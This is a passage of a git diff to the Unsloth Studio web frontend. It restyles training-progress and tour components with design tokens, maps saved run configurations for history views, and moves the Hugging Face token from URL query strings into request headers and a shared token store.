+  // editable form store until it loads; History shows blanks, never live form values.
+  const cfg = configOverride ?? (isHistorical ? undefined : config);
+  const cfgEpochs = cfg?.epochs;
+  const cfgBatchSize = cfg?.batchSize;
+  const cfgLearningRate = cfg?.learningRate;
+  const cfgMaxSteps = cfg?.maxSteps;
+  const cfgContextLength = cfg?.contextLength;
+  const cfgWarmupSteps = cfg?.warmupSteps;
+  const cfgOptimizerType = cfg?.optimizerType;
+  const cfgLoraRank = cfg?.loraRank;
+  const cfgLoraAlpha = cfg?.loraAlpha;
+  const cfgLoraDropout = cfg?.loraDropout;
+  const cfgLoraVariant = cfg?.loraVariant;
 
+  // Mirror the training form: on Mac the CUDA/bitsandbytes optimizer names run
+  // as plain AdamW (the MLX backend normalizes them), so label them AdamW here
+  // too rather than by the requested, unnormalized name.
+  const effectiveOptimizer =
+    platformDeviceType === "mac" &&
+    OPTIMIZER_OPTIONS.some((o) => o.value === cfgOptimizerType)
+      ? "adamw"
+      : cfgOptimizerType;
   const optimizerLabel =
-    OPTIMIZER_OPTIONS.find((o) => o.value === cfgOptimizerType)?.label ??
-    cfgOptimizerType;
+    [...OPTIMIZER_OPTIONS, ...MLX_OPTIMIZER_OPTIONS].find(
+      (o) => o.value === effectiveOptimizer,
+    )?.label ?? effectiveOptimizer;
 
   const configItems: ConfigGroup[] = [
     {
@@ -266,21 +269,21 @@ export function ProgressSection({
         <div className="flex flex-col gap-4">
           <div className="flex flex-wrap items-center gap-2">
             <span
-              className={`rounded-full px-2.5 py-1 text-[10px] font-semibold ${phaseColors[data.phase]}`}
+              className={`rounded-full px-2.5 py-1 text-ui-10 font-semibold ${phaseColors[data.phase]}`}
             >
               {t(phaseLabelKeys[data.phase])}
             </span>
             {data.projectName && (
-              <span className="rounded-full border border-border/60 px-2.5 py-1 text-[10px] font-medium text-foreground/80">
+              <span className="rounded-full border border-border/60 px-2.5 py-1 text-ui-10 font-medium text-foreground/80">
                 {data.projectName}
               </span>
             )}
-            <span className="text-[10px] tabular-nums text-muted-foreground">
+            <span className="text-ui-10 tabular-nums text-muted-foreground">
               {t("studio.progress.epoch", {
                 value: formatNumber(data.currentEpoch, 2),
               })}
             </span>
-            <span className="rounded-full border border-border/60 px-2.5 py-1 text-[10px] font-medium tabular-nums text-muted-foreground">
+            <span className="rounded-full border border-border/60 px-2.5 py-1 text-ui-10 font-medium tabular-nums text-muted-foreground">
               {t("studio.progress.percentComplete", { percent: pct })}
             </span>
           </div>
@@ -402,7 +405,7 @@ function LiveGpuPanel({
             <select
               value={selectedGpu}
               onChange={(e) => setSelectedGpu(Number(e.target.value))}
-              className="h-6 cursor-pointer rounded-md border border-border bg-popover px-1.5 py-0.5 text-[11px] text-popover-foreground outline-none hover:bg-muted focus:border-primary transition-colors font-medium appearance-none"
+              className="h-6 cursor-pointer rounded-md border border-border bg-popover px-1.5 py-0.5 text-ui-11 text-popover-foreground outline-none hover:bg-muted focus:border-ring transition-colors font-medium appearance-none"
               title="Select GPU"
             >
               {gpus.map((device, index) => (
@@ -411,13 +414,13 @@ function LiveGpuPanel({
                   value={index}
                   className="bg-popover text-popover-foreground dark:bg-zinc-900 dark:text-zinc-100"
                 >
-                  GPU {device.visible_ordinal ?? index} - {device.backend} ({device.vram_total_gb ? `${Math.round(device.vram_total_gb)}GB` : "N/A"})
+                  GPU {device.visible_ordinal ?? index} - {device.backend} ({device.vram_total_gb ? `${Math.round(device.vram_total_gb)}GiB` : "N/A"})
                 </option>
               ))}
             </select>
           )}
         </div>
-        <span className="text-[11px] text-muted-foreground">
+        <span className="text-ui-11 text-muted-foreground">
           {t("studio.progress.live")}
         </span>
       </div>
@@ -446,7 +449,7 @@ function LiveGpuPanel({
           icon={<HugeiconsIcon icon={RamMemoryIcon} className="size-3.5" />}
           value={
             currentGpu.vram_used_gb != null && currentGpu.vram_total_gb != null
-              ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GB`
+              ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GiB`
               : "--"
           }
           pct={currentGpu.vram_utilization_pct ?? 0}
@@ -535,7 +538,7 @@ function ConfigPopoverButton({
           <p className="text-xs font-semibold">{t("studio.progress.configLabel")}</p>
           {configItems.map((group) => (
             <div key={group.section} className="flex flex-col gap-1">
-              <p className="text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+              <p className="text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground">
                 {group.section}
               </p>
               {group.rows.map(([label, value]) => (
@@ -636,7 +639,7 @@ function MilestoneCallout({
       <div className="flex items-start justify-between gap-3">
         <div className="min-w-0">
           {!showCompletedHint && (
-            <p className="text-[10px] font-medium uppercase tracking-[0.12em] text-muted-foreground">
+            <p className="text-ui-10 font-medium uppercase tracking-[0.12em] text-muted-foreground">
               {t("studio.training.milestone")}
             </p>
           )}
@@ -652,7 +655,7 @@ function MilestoneCallout({
           </p>
         </div>
         {!showCompletedHint && (
-          <span className="rounded-full border border-border/60 bg-background/80 px-2 py-0.5 text-[10px] font-medium text-muted-foreground">
+          <span className="rounded-full border border-border/60 bg-background/80 px-2 py-0.5 text-ui-10 font-medium text-muted-foreground">
             50%+
           </span>
         )}
@@ -682,7 +685,7 @@ function MetricStat({
 }): ReactElement {
   return (
     <div className="min-w-0">
-      <p className="text-[11px] text-muted-foreground">{label}</p>
+      <p className="text-ui-11 text-muted-foreground">{label}</p>
       <p
         className={`mt-1 text-base font-semibold tabular-nums ${valueClassName ?? ""}`}
       >
@@ -725,7 +728,7 @@ function GpuStat({
   const clamped = Math.max(0, Math.min(pct, max ?? 100));
   let barColor = "bg-red-500";
   if (clamped < 60) {
-    barColor = "bg-emerald-500";
+    barColor = "bg-control-accent";
   } else if (clamped < 95) {
     barColor = "bg-amber-500";
   }
diff --git a/studio/frontend/src/features/studio/sections/run-config-override.ts b/studio/frontend/src/features/studio/sections/run-config-override.ts
new file mode 100644
index 0000000000..a1272bfeb0
--- /dev/null
+++ b/studio/frontend/src/features/studio/sections/run-config-override.ts
@@ -0,0 +1,54 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { parseBackendTrainingMethod } from "@/features/training";
+
+/** Shape of the Training Config popover's data when it is driven by a saved
+ * run snapshot instead of the editable form store. */
+export interface RunConfigOverride {
+  trainingMethod?: string;
+  epochs?: number;
+  batchSize?: number;
+  learningRate?: string;
+  maxSteps?: number;
+  contextLength?: number;
+  warmupSteps?: number;
+  optimizerType?: string;
+  loraRank?: number;
+  loraAlpha?: number;
+  loraDropout?: number;
+  loraVariant?: string;
+}
+
+/** Map a saved run's config (GET /api/train/runs/{id} `detail.config`) into the
+ * Training Config popover's override shape. Shared by the History view and the
+ * live Current Run view so both read the same authoritative run snapshot
+ * instead of the editable form store (#6853). */
+export function mapRunConfigToOverride(
+  config: Record<string, unknown> | null | undefined,
+): RunConfigOverride | undefined {
+  if (!config) {
+    return undefined;
+  }
+  return {
+    trainingMethod: parseBackendTrainingMethod(
+      config.training_type,
+      config.load_in_4bit,
+    ),
+    epochs: config.num_epochs as number | undefined,
+    batchSize: config.batch_size as number | undefined,
+    learningRate: config.learning_rate as string | undefined,
+    maxSteps: config.max_steps as number | undefined,
+    contextLength: config.max_seq_length as number | undefined,
+    warmupSteps: config.warmup_steps as number | undefined,
+    optimizerType: config.optim as string | undefined,
+    loraRank: config.lora_r as number | undefined,
+    loraAlpha: config.lora_alpha as number | undefined,
+    loraDropout: config.lora_dropout as number | undefined,
+    loraVariant: config.use_rslora
+      ? "rslora"
+      : config.use_loftq
+        ? "loftq"
+        : "lora",
+  };
+}
diff --git a/studio/frontend/src/features/studio/sections/s3-config-form.tsx b/studio/frontend/src/features/studio/sections/s3-config-form.tsx
index 8126027cf9..e7daffb750 100644
--- a/studio/frontend/src/features/studio/sections/s3-config-form.tsx
+++ b/studio/frontend/src/features/studio/sections/s3-config-form.tsx
@@ -51,7 +51,7 @@ export function S3ConfigForm() {
         <p className="text-xs font-medium text-foreground">
           {t("studio.dataset.s3.title")}
         </p>
-        <p className="text-[10px] text-muted-foreground/80">
+        <p className="text-ui-10 text-muted-foreground/80">
           {t("studio.dataset.s3.description")}
         </p>
       </div>
diff --git a/studio/frontend/src/features/studio/sections/training-section.tsx b/studio/frontend/src/features/studio/sections/training-section.tsx
index d1ef132efb..5650b9c145 100644
--- a/studio/frontend/src/features/studio/sections/training-section.tsx
+++ b/studio/frontend/src/features/studio/sections/training-section.tsx
@@ -53,7 +53,6 @@ export function TrainingSection() {
     ((!store.isVisionModel && store.isDatasetImage === true) ||
       (!store.isAudioModel && store.isDatasetAudio === true));
   const configValidation = validateTrainingConfig(store);
-  const hasMessage = !!(startError || isIncompatible || (!configValidation.ok && configValidation.message));
   const fileInputRef = useRef<HTMLInputElement>(null);
 
   const handleFileUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
@@ -125,7 +124,7 @@ export function TrainingSection() {
         title={t("studio.training.title")}
         description={t("studio.training.description")}
         accent="blue"
-        className={hasMessage ? "min-h-studio-config-column" : "h-studio-config-column"}
+        className="min-h-studio-config-column"
       >
         <div className="flex flex-col gap-4">
         {/* Loss chart */}
@@ -175,7 +174,7 @@ export function TrainingSection() {
         {/* Start/Stop */}
         <Button
           data-tour="studio-start"
-          className="w-full cursor-pointer bg-gradient-to-r from-emerald-500 to-teal-500 text-white hover:from-emerald-600 hover:to-teal-600"
+          className="w-full cursor-pointer bg-primary text-primary-foreground hover:bg-primary/90"
           onClick={() => void startTrainingRun()}
           disabled={isStarting || isIncompatible || store.isCheckingDataset || isLoadingModel || !configValidation.ok}
         >
diff --git a/studio/frontend/src/features/studio/studio-page.tsx b/studio/frontend/src/features/studio/studio-page.tsx
index 4d3a32fab3..f50dcf5155 100644
--- a/studio/frontend/src/features/studio/studio-page.tsx
+++ b/studio/frontend/src/features/studio/studio-page.tsx
@@ -165,7 +165,7 @@ export function StudioPage(): ReactElement {
         />
 
         <div className="mb-6 flex flex-col gap-0.5 sm:mb-8">
-          <h1 className="text-[30px] font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-[34px]">
+          <h1 className="text-ui-30 font-semibold leading-[1.04] tracking-[-0.028em] text-foreground sm:text-ui-34">
             {t("studio.title")}
           </h1>
           <p className="text-sm text-muted-foreground">{subtitle}</p>
@@ -217,7 +217,13 @@ export function StudioPage(): ReactElement {
 
             <TabsContent value="history">
               {selectedHistoryRunId ? (
-                <HistoricalTrainingView runId={selectedHistoryRunId} />
+                <HistoricalTrainingView
+                  runId={selectedHistoryRunId}
+                  onResumeStarted={() => {
+                    setSelectedHistoryRunId(null);
+                    handleTabChange("current-run");
+                  }}
+                />
               ) : (
                 <HistoryCardGrid onSelectRun={(runId) => {
                   if (runId === currentJobId && isTrainingRunning) {
diff --git a/studio/frontend/src/features/studio/training-start-overlay.tsx b/studio/frontend/src/features/studio/training-start-overlay.tsx
index c69b25577c..c836b61ce4 100644
--- a/studio/frontend/src/features/studio/training-start-overlay.tsx
+++ b/studio/frontend/src/features/studio/training-start-overlay.tsx
@@ -210,7 +210,7 @@ function DownloadRow({ label, state }: DownloadRowProps): ReactElement | null {
           <span className="text-xs text-foreground/90">{label}</span>
           {statusLabel ? (
             <span
-              className={`rounded-full px-1.5 py-0.5 text-[10px] font-medium ${isComplete ? "bg-emerald-100 text-emerald-700 ring-1 ring-emerald-200/80 dark:bg-emerald-500/15 dark:text-emerald-300 dark:ring-emerald-500/30" : "bg-muted text-muted-foreground"}`}
+              className={`rounded-full px-1.5 py-0.5 text-ui-10 font-medium ${isComplete ? "bg-emerald-100 text-emerald-700 ring-1 ring-emerald-200/80 dark:bg-emerald-500/15 dark:text-emerald-300 dark:ring-emerald-500/30" : "bg-muted text-muted-foreground"}`}
             >
               {statusLabel}
             </span>
@@ -221,19 +221,19 @@ function DownloadRow({ label, state }: DownloadRowProps): ReactElement | null {
         </span>
       </div>
       {sizeLabel ? (
-        <div className="text-[11px] tabular-nums text-muted-foreground">
+        <div className="text-ui-11 tabular-nums text-muted-foreground">
           {sizeLabel}
         </div>
       ) : null}
       {state.totalBytes > 0 ? (
         <Progress
           value={state.percent}
-          indicatorClassName="bg-[linear-gradient(90deg,oklch(0.66_0.142_166.6)_0%,oklch(0.705_0.132_166.6)_55%,oklch(0.75_0.122_166.6)_100%)]"
+          indicatorClassName="bg-[linear-gradient(90deg,var(--control-accent)_0%,color-mix(in_oklab,var(--control-accent)_72%,white)_100%)]"
         />
       ) : null}
       {state.cachePath ? (
         <div
-          className="truncate rounded bg-muted/50 px-2 py-1 text-[10px] text-muted-foreground/70"
+          className="truncate rounded bg-muted/50 px-2 py-1 text-ui-10 text-muted-foreground/70"
           title={state.cachePath}
         >
           {formatCachePath(state.cachePath)}
diff --git a/studio/frontend/src/features/tour/components/guided-tour.tsx b/studio/frontend/src/features/tour/components/guided-tour.tsx
index a7b29fb925..c0730d0389 100644
--- a/studio/frontend/src/features/tour/components/guided-tour.tsx
+++ b/studio/frontend/src/features/tour/components/guided-tour.tsx
@@ -306,20 +306,20 @@ export function GuidedTour({
                     )}
                     aria-hidden={true}
                   />
-                  <div className="absolute inset-x-0 top-0 h-20 bg-gradient-to-b from-emerald-400/18 via-cyan-300/6 to-transparent dark:from-emerald-400/24 dark:via-cyan-300/12" />
-                  <div className="absolute -left-14 -top-16 size-44 rounded-full bg-emerald-400/20 blur-2xl dark:bg-emerald-400/26" />
+                  <div className="absolute inset-x-0 top-0 h-20 bg-gradient-to-b from-control-accent/18 via-control-accent/6 to-transparent dark:from-control-accent/24 dark:via-control-accent/12" />
+                  <div className="absolute -left-14 -top-16 size-44 rounded-full bg-control-accent/20 blur-2xl dark:bg-control-accent/26" />
                   <div className="absolute -right-14 -bottom-16 size-44 rounded-full bg-cyan-300/18 blur-2xl dark:bg-cyan-300/24" />
 
                   <div className="relative p-5">
                     <div className="flex items-start justify-between gap-3">
                       <div className="min-w-0">
-                        <div className="inline-flex items-center gap-2 rounded-full bg-black/[0.04] px-2.5 py-1 text-[10px] font-mono text-foreground/60 ring-1 ring-black/10 dark:bg-white/[0.04] dark:text-zinc-200/75 dark:ring-white/14">
+                        <div className="inline-flex items-center gap-2 rounded-full bg-black/[0.04] px-2.5 py-1 text-ui-10 font-mono text-foreground/60 ring-1 ring-black/10 dark:bg-white/[0.04] dark:text-zinc-200/75 dark:ring-white/14">
                           {idx + 1}/{total}
-                          <span className="size-1 rounded-full bg-emerald-500/70" />
+                          <span className="size-1 rounded-full bg-control-accent/70" />
                           guided tour
                         </div>
                         <DialogPrimitive.Title
-                          className="mt-2 text-[18px] leading-tight"
+                          className="mt-2 text-ui-18 leading-tight"
                           style={{ fontFamily: "var(--font-serif)" }}
                         >
                           {step?.title ?? "Quick tour"}
@@ -352,7 +352,7 @@ export function GuidedTour({
                       <div className="flex items-center gap-2">
                         <Button
                           variant="outline"
-                          className="border-black/10 bg-white/70 text-foreground hover:bg-white hover:text-foreground dark:border-white/15 dark:bg-white/[0.07] dark:text-zinc-100 dark:hover:bg-white/[0.12]"
+                          className="border-black/10 bg-white/70 text-foreground hover:bg-white hover:text-foreground dark:border-transparent dark:bg-white/[0.07] dark:text-zinc-100 dark:hover:bg-white/[0.12]"
                           disabled={idx === 0}
                           onClick={() => setIdx((i) => Math.max(0, i - 1))}
                         >
@@ -362,7 +362,7 @@ export function GuidedTour({
                         {isLast ? (
                           <Button
                             variant="dark"
-                            className="bg-gradient-to-r from-emerald-500 to-cyan-400 text-white hover:from-emerald-600 hover:to-cyan-500"
+                            className="bg-control-accent text-control-accent-foreground hover:bg-control-accent/90"
                             onClick={() => requestClose("complete")}
                           >
                             <HugeiconsIcon icon={CheckmarkCircle01Icon} className="size-4" />
@@ -371,7 +371,7 @@ export function GuidedTour({
                         ) : (
                           <Button
                             variant="dark"
-                            className="bg-gradient-to-r from-emerald-500 to-cyan-400 text-white hover:from-emerald-600 hover:to-cyan-500"
+                            className="bg-control-accent text-control-accent-foreground hover:bg-control-accent/90"
                             onClick={() => setIdx((i) => Math.min(total - 1, i + 1))}
                           >
                             Next
@@ -383,7 +383,7 @@ export function GuidedTour({
                   </div>
 
                   <div className="h-px bg-gradient-to-r from-transparent via-black/10 to-transparent dark:via-white/14" />
-                  <div className="px-5 py-3 text-[11px] text-foreground/55 dark:text-zinc-300/65">
+                  <div className="px-5 py-3 text-ui-11 text-foreground/55 dark:text-zinc-300/65">
                     Tip: `Esc` skips. Tour blocks clicks so you can read.
                   </div>
                 </motion.div>
diff --git a/studio/frontend/src/features/tour/components/read-more.tsx b/studio/frontend/src/features/tour/components/read-more.tsx
index 13210c7723..3a5f643425 100644
--- a/studio/frontend/src/features/tour/components/read-more.tsx
+++ b/studio/frontend/src/features/tour/components/read-more.tsx
@@ -13,7 +13,7 @@ export function ReadMore({ href = "#" }: { href?: string }) {
       onClick={(e) => {
         if (href === "#") e.preventDefault();
       }}
-      className="text-emerald-600 underline underline-offset-2 hover:text-emerald-700"
+      className="text-control-accent underline underline-offset-2 hover:text-control-accent/80"
     >
       Read more
     </a>
diff --git a/studio/frontend/src/features/tour/lib/confetti-fireworks.ts b/studio/frontend/src/features/tour/lib/confetti-fireworks.ts
index 6eaf8e031e..64f5016e50 100644
--- a/studio/frontend/src/features/tour/lib/confetti-fireworks.ts
+++ b/studio/frontend/src/features/tour/lib/confetti-fireworks.ts
@@ -5,6 +5,8 @@
 
 import type { CreateTypes as ConfettiInstance } from "canvas-confetti";
 
+import { prefersReducedMotion } from "@/features/settings";
+
 type FireworksOpts = {
   durationMs?: number;
   intervalMs?: number;
@@ -48,9 +50,8 @@ export async function fireConfettiFireworks(opts: FireworksOpts = {}) {
   try {
     if (typeof window === "undefined") return;
 
-    const prefersReduce =
-      window.matchMedia?.("(prefers-reduced-motion: reduce)")?.matches ?? false;
-    if (prefersReduce) return;
+    // Honor Appearance > Reduce motion (on/off) first, then the OS preference.
+    if (prefersReducedMotion()) return;
 
     const fire = await getSharedFire();
     if (!fire || !_sharedCanvas) return;
@@ -65,7 +66,9 @@ export async function fireConfettiFireworks(opts: FireworksOpts = {}) {
       startVelocity: 28,
       spread: 360,
       ticks: 58,
-      disableForReducedMotion: true,
+      // Reduce motion is enforced above (incl. the in-app "off" override), so
+      // don't let the library re-suppress purely on the OS preference.
+      disableForReducedMotion: false,
     } as const;
 
     const randomInRange = (min: number, max: number) =>
diff --git a/studio/frontend/src/features/training/api/models-api.ts b/studio/frontend/src/features/training/api/models-api.ts
index e5fd8b043d..adda7d0a77 100644
--- a/studio/frontend/src/features/training/api/models-api.ts
+++ b/studio/frontend/src/features/training/api/models-api.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch } from "@/features/auth";
+import { hubTokenHeader } from "@/features/hub";
 
 interface VisionCheckResponse {
   model_name: string;
@@ -98,8 +99,9 @@ export async function checkVisionModel(
   hfToken?: string | null,
 ): Promise<boolean> {
   const encoded = encodeURIComponent(modelName);
-  const query = hfToken?.trim() ? `?hf_token=${encodeURIComponent(hfToken.trim())}` : "";
-  const response = await authFetch(`/api/models/check-vision/${encoded}${query}`);
+  const response = await authFetch(`/api/models/check-vision/${encoded}`, {
+    headers: hubTokenHeader(hfToken?.trim() || null),
+  });
   if (!response.ok) {
     // If the check fails (e.g. network error), default to non-vision
     return false;
@@ -114,8 +116,9 @@ export async function checkEmbeddingModel(
   hfToken?: string | null,
 ): Promise<boolean> {
   const encoded = encodeURIComponent(modelName);
-  const query = hfToken?.trim() ? `?hf_token=${encodeURIComponent(hfToken.trim())}` : "";
-  const response = await authFetch(`/api/models/check-embedding/${encoded}${query}`);
+  const response = await authFetch(`/api/models/check-embedding/${encoded}`, {
+    headers: hubTokenHeader(hfToken?.trim() || null),
+  });
   if (!response.ok) {
     // If the check fails (e.g. network error), default to non-embedding
     return false;
@@ -130,8 +133,10 @@ export async function getModelConfig(
   hfToken?: string,
 ): Promise<ModelConfigResponse> {
   const encoded = encodeURIComponent(modelName);
-  const params = hfToken ? `?hf_token=${encodeURIComponent(hfToken)}` : "";
-  const response = await authFetch(`/api/models/config/${encoded}${params}`, { signal });
+  const response = await authFetch(`/api/models/config/${encoded}`, {
+    headers: hubTokenHeader(hfToken?.trim() || null),
+    signal,
+  });
   if (!response.ok) {
     throw new Error(`Failed to fetch model config (${response.status})`);
   }
diff --git a/studio/frontend/src/features/training/api/train-api.ts b/studio/frontend/src/features/training/api/train-api.ts
index 609e4f8591..c5f09c8bd0 100644
--- a/studio/frontend/src/features/training/api/train-api.ts
+++ b/studio/frontend/src/features/training/api/train-api.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch } from "@/features/auth";
+import { prepareHfTokenForUse } from "@/features/hf-auth";
 import { readFastApiError } from "@/lib/format-fastapi-error";
 import type {
   TrainingStartRequest,
@@ -30,10 +31,12 @@ async function parseJson<T>(response: Response): Promise<T> {
 export async function startTraining(
   payload: TrainingStartRequest,
 ): Promise<TrainingStartResponse> {
+  const preparedToken = await prepareHfTokenForUse(payload.hf_token);
+  if (!preparedToken.proceed) throw new Error("Training start cancelled.");
   const response = await authFetch("/api/train/start", {
     method: "POST",
     headers: { "Content-Type": "application/json" },
-    body: JSON.stringify(payload),
+    body: JSON.stringify({ ...payload, hf_token: preparedToken.token }),
   });
   return parseJson<TrainingStartResponse>(response);
 }
diff --git a/studio/frontend/src/features/training/hooks/use-training-actions.ts b/studio/frontend/src/features/training/hooks/use-training-actions.ts
index 2f04656c23..9bb8206f28 100644
--- a/studio/frontend/src/features/training/hooks/use-training-actions.ts
+++ b/studio/frontend/src/features/training/hooks/use-training-actions.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { primeNativeNotificationPermission } from "@/lib/native-notifications";
+import { prepareHfTokenForUse } from "@/features/hf-auth";
 import { confirmRemoteCodeIfNeeded } from "@/features/security";
 import { useCallback } from "react";
 import { toast } from "@/lib/toast";
@@ -43,7 +44,7 @@ export function useTrainingActions() {
   const startError = useTrainingRuntimeStore((state) => state.startError);
 
   const startTrainingRun = useCallback(async (): Promise<boolean> => {
-    const config = useTrainingConfigStore.getState();
+    let config = useTrainingConfigStore.getState();
     const runtimeStore = useTrainingRuntimeStore.getState();
     const dialogStore = useDatasetPreviewDialogStore.getState();
 
@@ -54,6 +55,13 @@ export function useTrainingActions() {
       return false;
     }
 
+    const preparedToken = await prepareHfTokenForUse(config.hfToken);
+    if (!preparedToken.proceed) return false;
+    if ((preparedToken.token ?? "") !== config.hfToken) {
+      config.setHfToken(preparedToken.token ?? "");
+      config = useTrainingConfigStore.getState();
+    }
+
     primeNativeNotificationPermission().catch(() => undefined);
 
     runtimeStore.setStartResources(
@@ -209,7 +217,7 @@ export function useTrainingActions() {
       const detail = await getTrainingRun(runId);
       const outputDir = detail.run.output_dir;
       if (!detail.run.can_resume || !outputDir) {
-        throw new Error("Only stopped runs with a saved checkpoint can be resumed.");
+        throw new Error("Only stopped or errored runs with a saved checkpoint can be resumed.");
       }
 
       primeNativeNotificationPermission().catch(() => undefined);
@@ -226,6 +234,13 @@ export function useTrainingActions() {
         resume_from_checkpoint: outputDir,
       } as TrainingStartRequest;
 
+      const preparedToken = await prepareHfTokenForUse(payload.hf_token);
+      if (!preparedToken.proceed) {
+        runtimeStore.setStarting(false);
+        return false;
+      }
+      payload.hf_token = preparedToken.token;
+
       runtimeStore.setStartResources(
         payload.model_name,
         payload.hf_dataset,
diff --git a/studio/frontend/src/features/training/index.ts b/studio/frontend/src/features/training/index.ts
index 553dcc2af5..81514b4415 100644
--- a/studio/frontend/src/features/training/index.ts
+++ b/studio/frontend/src/features/training/index.ts
@@ -12,6 +12,7 @@ export {
   getTrainingRunDisplayTitle,
   getTrainingRunModelSubtitle,
 } from "./lib/run-display";
+export { parseBackendTrainingMethod } from "./lib/training-methods";
 export { useTrainingHistorySidebarItems } from "./hooks/use-training-history-sidebar";
 export { useTrainingRuntimeLifecycle } from "./hooks/use-training-runtime-lifecycle";
 export { useTrainingCompletionWatch } from "./hooks/use-training-completion-watch";
@@ -24,8 +25,8 @@ export { HfDatasetSubsetSplitSelectors } from "./components/hf-dataset-subset-sp
 export { useDatasetPreviewDialogStore } from "./stores/dataset-preview-dialog-store";
 export { listLocalDatasets, uploadTrainingDataset } from "./api/datasets-api";
 export type { LocalDatasetInfo } from "./types/datasets";
-export { listLocalModels } from "./api/models-api";
-export type { LocalModelInfo } from "./api/models-api";
+export { getModelConfig, listLocalModels } from "./api/models-api";
+export type { LocalModelInfo, ModelConfigResponse } from "./api/models-api";
 export type {
   TrainingPhase,
   TrainingViewData,
diff --git a/studio/frontend/src/features/training/stores/training-config-store.ts b/studio/frontend/src/features/training/stores/training-config-store.ts
index 07be8a247b..d204e24f47 100644
--- a/studio/frontend/src/features/training/stores/training-config-store.ts
+++ b/studio/frontend/src/features/training/stores/training-config-store.ts
@@ -3,6 +3,7 @@
 
 import { CPT_TARGET_MODULES, DEFAULT_HYPERPARAMS, LR_DEFAULT_CPT, LR_DEFAULT_FULL, LR_DEFAULT_LORA, STEPS, TARGET_MODULES } from "@/config/training";
 import { authFetch } from "@/features/auth";
+import { getHfToken, mirrorHfTokenInto, useHfTokenStore } from "@/features/hub";
 import { isAdapterMethod } from "@/types/training";
 import type { DatasetFormat } from "@/types/training";
 import type { ModelType, StepNumber, TrainingMethod } from "@/types/training";
@@ -115,11 +116,13 @@ let _yamlLearningRate: number | undefined = undefined;
 let _datasetFormatBeforeCpt: DatasetFormat | null = null;
 let _datasetFormatAutoForcedByCpt = false;
 
+// modelType / isVisionModel / isAudioModel persist so multimodal-only UI
+// paints right on reload; the model-config fetch still re-derives them.
+// hfToken mirrors the shared hf-token-store and is persisted there instead.
 const NON_PERSISTED_STATE_KEYS: ReadonlySet<keyof TrainingConfigState> = new Set([
-  "modelType",
+  "hfToken",
   "isCheckingVision",
   "isEmbeddingModel",
-  "isAudioModel",
   "isLoadingModelDefaults",
   "modelDefaultsError",
   "modelDefaultsAppliedFor",
@@ -128,7 +131,6 @@ const NON_PERSISTED_STATE_KEYS: ReadonlySet<keyof TrainingConfigState> = new Set
   "isDatasetAudio",
   "trainOnCompletions",
   "maxPositionEmbeddings",
-  "isVisionModel",
   "s3Config",
 ]);
 
@@ -570,6 +572,9 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
             visionImageSize?: number | null;
             trustRemoteCode?: boolean;
             approvedRemoteCodeFingerprint?: string | null;
+            isVisionModel?: boolean;
+            isAudioModel?: boolean;
+            isEmbeddingModel?: boolean;
           } = {
             selectedModel,
             modelDefaultsError: null,
@@ -581,6 +586,11 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
             // re-applied below, and a custom-code model re-opens the dialog before start.
             patch.trustRemoteCode = false;
             patch.approvedRemoteCodeFingerprint = null;
+            // Reset capability flags so a mid-fetch reload can't persist the
+            // previous model's vision/audio flags against the new model.
+            patch.isVisionModel = false;
+            patch.isAudioModel = false;
+            patch.isEmbeddingModel = false;
           }
           set(patch);
 
@@ -625,8 +635,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
             ),
           );
         },
-        setHfToken: (hfToken) =>
-          set({ hfToken: hfToken.trim().replace(/^["']+|["']+$/g, "") }),
+        setHfToken: (hfToken) => useHfTokenStore.getState().setToken(hfToken),
         setDatasetSource: (datasetSource) => set({ datasetSource }),
         selectHfDataset: (dataset) => {
           _datasetCheckController?.abort();
@@ -916,7 +925,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           _learningRateManuallySet = false;
           _yamlLearningRate = undefined;
           clearCptDatasetFormatTracking();
-          set(initialState);
+          set({ ...initialState, hfToken: getHfToken() });
         },
         resetToModelDefaults: () => {
           const { selectedModel } = get();
@@ -940,7 +949,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
     },
     {
       name: "unsloth_training_config_v1",
-      version: 11,
+      version: 12,
       migrate: (persisted, version) => {
         const s = persisted as Record<string, unknown>;
         if (version < 2 && s.datasetSubset == null && s.datasetConfig != null) {
@@ -993,6 +1002,15 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
           // own version guard.
           s.datasetStreaming ??= false;
         }
+        if (version < 12) {
+          // hfToken moved to the shared hf-token-store; seed it once so an
+          // existing Unsloth-only token isn't lost.
+          const legacyToken = typeof s.hfToken === "string" ? s.hfToken.trim() : "";
+          if (legacyToken && !getHfToken()) {
+            useHfTokenStore.getState().setToken(legacyToken);
+          }
+          delete s.hfToken;
+        }
         return s as unknown as TrainingConfigStore;
       },
       partialize: partializePersistedState,
@@ -1015,3 +1033,8 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
     },
   ),
 );
+
+const unsubscribeHfTokenMirror = mirrorHfTokenInto(useTrainingConfigStore);
+if (import.meta.hot) {
+  import.meta.hot.dispose(unsubscribeHfTokenMirror);
+}
diff --git a/studio/frontend/src/features/training/stores/training-runtime-store.ts b/studio/frontend/src/features/training/stores/training-runtime-store.ts
index acc80a3be2..131ea30d30 100644
--- a/studio/frontend/src/features/training/stores/training-runtime-store.ts
+++ b/studio/frontend/src/features/training/stores/training-runtime-store.ts
@@ -223,7 +223,10 @@ export const useTrainingRuntimeStore = create<TrainingRuntimeStore>()((set) => (
           typeof detailLr === "number" ? detailLr : state.currentLearningRate,
         currentEpoch:
           typeof detailEpoch === "number" ? detailEpoch : state.currentEpoch,
